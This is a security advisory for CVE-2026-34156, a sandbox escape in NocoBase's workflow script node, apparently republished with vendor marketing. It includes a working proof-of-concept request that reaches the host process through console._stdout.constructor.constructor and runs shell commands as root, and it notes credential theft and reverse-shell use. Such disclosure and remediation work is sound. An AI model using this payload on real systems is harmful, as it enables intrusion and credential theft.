Summary
## Summary
NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.
An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.
Exploit Chain
console._stdout.constructor.constructor→ host-realmFunctionconstructorFunction('return process')()→ Node.jsprocessobjectprocess.mainModule.require('child_process')→ unrestricted module loadingchild_process.execSync('id')→ RCE as root
This completely bypasses the customRequire allowlist.
Proof of Concept
HTTP Request:
POST /api/flow_nodes:test
Authorization: Bearer
Content-Type: application/json
{
"type": "script",
"config": {
"content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();",
"timeout": 5000,
"arguments": []
}
}
Response:
{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}
Environment
- Docker image:
nocobase/nocobase:latest - NocoBase CLI: v2.0.26
- Node.js: v20.20.1
- OS: Debian GNU/Linux 12 (bookworm)
PoC
Got reverse shell
Proof of concept the root privileges
os-release demonstration
App path
Exploit Usage:
Reverse Shell Mode
Dump system information & creds
Remote Command Execution Mode
Alternative Escape Vectors
console._stderr.constructor.constructor(identical chain via stderr)Error.prepareStackTrace+CallSite.getThis()(V8 CallSite API)
Reporter
Onurcan Genç, Independent Security Researcher, Bilkent University
Impact
- Remote Code Execution as root (uid=0) inside Docker container
- Database credential theft (
DB_PASSWORD,INIT_ROOT_PASSWORDfromprocess.env) - Arbitrary file read/write via
require('fs') - Reverse shell confirmed
- Outbound network access for lateral movement
CVE-2026-34156 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.28); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
- Replace Node.js
vmmodule withisolated-vmfor true V8 isolate separation - Do not pass the host
consoleobject into the sandbox; create a clean proxy - Run the application as a non-root user inside Docker
- Restrict
/api/flow_nodes:testto admin-only roles
Frequently Asked Questions
- What is CVE-2026-34156? CVE-2026-34156 is a critical-severity security vulnerability in @nocobase/plugin-workflow-javascript (npm), affecting versions <= 2.0.27. It is fixed in 2.0.28.
- How severe is CVE-2026-34156? CVE-2026-34156 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @nocobase/plugin-workflow-javascript are affected by CVE-2026-34156? @nocobase/plugin-workflow-javascript (npm) versions <= 2.0.27 is affected.
- Is there a fix for CVE-2026-34156? Yes. CVE-2026-34156 is fixed in 2.0.28. Upgrade to this version or later.
- Is CVE-2026-34156 exploitable, and should I be worried? Whether CVE-2026-34156 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34156 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-34156? Upgrade
@nocobase/plugin-workflow-javascriptto 2.0.28 or later.